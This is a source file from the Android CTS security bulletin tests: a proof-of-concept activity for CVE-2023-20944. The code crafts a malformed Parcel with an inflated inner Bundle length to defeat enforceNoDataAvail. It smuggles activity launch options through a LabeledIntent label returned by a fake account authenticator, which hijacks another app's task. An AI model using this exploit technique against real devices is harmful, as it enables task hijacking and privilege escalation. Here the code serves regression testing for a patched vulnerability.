summaryrefslogtreecommitdiff
path: root/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java
blob: a4fb874d22352bbb13d36c0a5cbb1363bd52b124 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
/*
 * Copyright (C) 2023 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts.CVE_2023_20944_test;

import android.app.Activity;
import android.accounts.AccountManager;
import android.content.Intent;
import android.content.pm.LabeledIntent;
import android.os.Bundle;
import android.os.Parcel;
import android.os.PersistableBundle;
import android.text.SpannableString;
import android.text.style.TtsSpan;

public class PocActivity extends Activity {

    @Override
    protected void onResume() {
        try {
            super.onResume();
            int targetTaskId = getTaskId() - 1;
            Bundle options = new Bundle();
            options.putBoolean(getString(R.string.taskOverlay), true);
            options.putInt(getString(R.string.launchTaskId), targetTaskId);
            LabeledIntent targetIntent =
                    new LabeledIntent(null, createLabelInjectingOptions(options), 0);
            targetIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
            targetIntent.setClassName(this, HijackActivity.class.getName());

            // Return LabeledIntent from AuthService.addAccount
            PocAuthService.sAddAccountResponse = new Bundle();
            PocAuthService.sAddAccountResponse.putParcelable(AccountManager.KEY_INTENT,
                    targetIntent);
            startActivityForResult(new Intent()
                    .setClassName(getString(R.string.pkgName), getString(R.string.activityName))
                    .putExtra(getString(R.string.allowableAccountTypes),
                            new String[] {getString(R.string.accountType)}),
                    1);
            sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
                    .putExtra(getString(R.string.status), getString(R.string.noExceptionMsg)));
        } catch (Exception e) {
            try {
                sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
                        .putExtra(getString(R.string.status), e.getMessage()));
            } catch (Exception ignored) {
                // ignore any exceptions
            }

        }
    }

    private CharSequence createLabelInjectingOptions(Bundle options) {
        final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L', copied from BaseBundle
        Parcel p = Parcel.obtain();

        p.writeInt(0); // Will hold length
        p.writeInt(BUNDLE_MAGIC);

        // BEGIN data
        int startOffset = p.dataPosition();
        p.writeInt(0); // \0 at end of resultWho
        p.writeInt(-1); // requestCode
        p.writeInt(0); // flags
        p.writeInt(0); // profilerInfo == null
        p.writeInt(1); // options != null
        int innerBundleLengthPos = p.dataPosition();
        p.writeBundle(options);
        int endOffset = p.dataPosition();
        // END data

        // Expand inner Bundle to defeat enforceNoDataAvail check
        p.setDataPosition(innerBundleLengthPos);
        int innerBundleLength = p.readInt();
        p.setDataPosition(innerBundleLengthPos);

        // To fully consume the Parcel data and to avoid BadParcelableException, 72 is added in
        // innerBundleLength
        p.writeInt(innerBundleLength + 72);

        // Fix PersistableBundle length
        p.setDataPosition(0);
        p.writeInt(endOffset - startOffset);

        // Read result as PersistableBundle
        p.setDataPosition(0);
        PersistableBundle wrapperBundle = p.readPersistableBundle();
        p.recycle();

        // Make a CharSequence
        SpannableString spannableString = new SpannableString(getString(R.string.spannableString));
        spannableString.setSpan(new TtsSpan("", wrapperBundle), 0, 0, 0);
        return spannableString;
    }
}